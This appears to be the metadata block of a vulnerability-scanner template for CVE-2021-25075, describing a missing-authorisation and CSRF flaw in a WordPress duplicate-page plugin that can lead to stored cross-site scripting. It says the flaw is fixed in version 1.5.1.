id: CVE-2021-25075

info:
  name: WordPress Duplicate Page or Post < 1.5.1 - Stored XSS
  author: DhiyaneshDK
  severity: low
  description: |
    The plugin does not have any authorisation and has a flawed CSRF check in the wpdevart_duplicate_post_parametrs_save_in_db AJAX action, allowing any authenticated users, such as subscriber to call it and change the plugin's settings, or perform such attack via CSRF. Furthermore, due to the lack of escaping, this could lead to Stored Cross-Site Scripting issues.
  remediation: Fixed in version 1.5.1.
